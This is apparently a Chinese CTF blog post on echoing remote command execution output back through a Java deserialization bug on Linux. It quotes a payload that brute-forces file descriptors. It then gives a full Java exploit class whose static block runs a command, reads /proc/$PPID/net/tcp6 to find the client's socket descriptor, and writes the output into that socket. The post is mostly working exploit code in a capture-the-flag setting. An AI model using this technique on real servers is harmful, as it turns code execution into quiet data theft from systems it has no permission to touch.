linux通杀回显手段的优化
之前在复现das暑期赛的一道hessian反序列化的时候,看到了派神的这篇文章
从rwctf体验赛的old-shiro一题学习linux通用命令回显方法
大致就是通过暴力枚举文件描述符,将RCE的结果写到客户端连接的socket描述符中,从而回显到响应中,payload是:
java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{int.class});
c.setAccessible(true);
for(int i=3;i<50;i++){
try {
new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(i)})).write(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("cat /flag").getInputStream())).readLine().getBytes());
}catch (Exception e){}
}
枚举了3-50的文件描述符并写入。不过我本地复现的时候,环境无论是wsl还是docker都要枚举到100才能回显,并且通常要反复发包多次才能拿到回显,偶尔也会出现靶机崩掉的情况
这里就想以一个更精准一些的方式来写入回显,列出所有fd,根据/proc/$PPID/net/tcp6中的inode可以确定每一个tcp连接对应的socket文件描述符是哪个。
CTF环境中,只要把所有本地地址都去除,剩下的就是和我们客户端的tcp连接了
cat /proc/5186/net/tcp6 |grep -v '00000000000000000000000000000000:0000'| awk '{print $10}' | tail -n +2
把这些连接的inode取出来去匹配socket文件连接符号即可
ls -l /proc/5186/fd | grep socket | grep '\[88773\]' |awk '{print $9}'
exp:
public class linuxexp {
static {
try{
System.out.println("starting");
Constructor c = FileDescriptor.class.getDeclaredConstructor(new Class[]{int.class});
c.setAccessible(true);
Process process = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","/readflag"});
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder result = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}
String ret = result.toString();
String[] cmd = { "/bin/sh","-c","cat /proc/$PPID/net/tcp6 |grep -v '00000000000000000000000000000000:0000'| awk '{print $10}' | tail -n +2"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
LinkedList<String> inodes = new LinkedList<>();
while ((line = br.readLine() )!= null){
if(!line.equals("0")){
inodes.add(line);
}
}
System.out.println(inodes);
for (String inode : inodes){
String[] cmd1 = { "/bin/sh","-c","ls -l /proc/$PPID/fd | grep socket | grep '\\["+inode+"\\]' |awk '{print $9}'"};
java.io.InputStream in1 = Runtime.getRuntime().exec(cmd1).getInputStream();
java.io.InputStreamReader isr1 = new java.io.InputStreamReader(in1);
java.io.BufferedReader br1 = new java.io.BufferedReader(isr1);
LinkedList<Integer> fds = new LinkedList<>();
String line1 = br1.readLine();
if (line1!=null && !line1.isEmpty()){
int fd = Integer.parseInt(line1);
FileDescriptor fileDescriptor = (FileDescriptor) c.newInstance(new Object[]{fd});
new FileOutputStream(fileDescriptor).write(ret.getBytes());
}
}
} catch (Exception e) {
}
}}
循环里没有用到try-catch
比较稳定,一次成功
不过我的和pankas的exp我这里测试,放到docker环境里就不行了,不知道为什么,docker里面涉及到的一些bash指令测过都是有的,估计是我docker环境的问题,因为找了个测试das的题目是能通的。
Comments NOTHING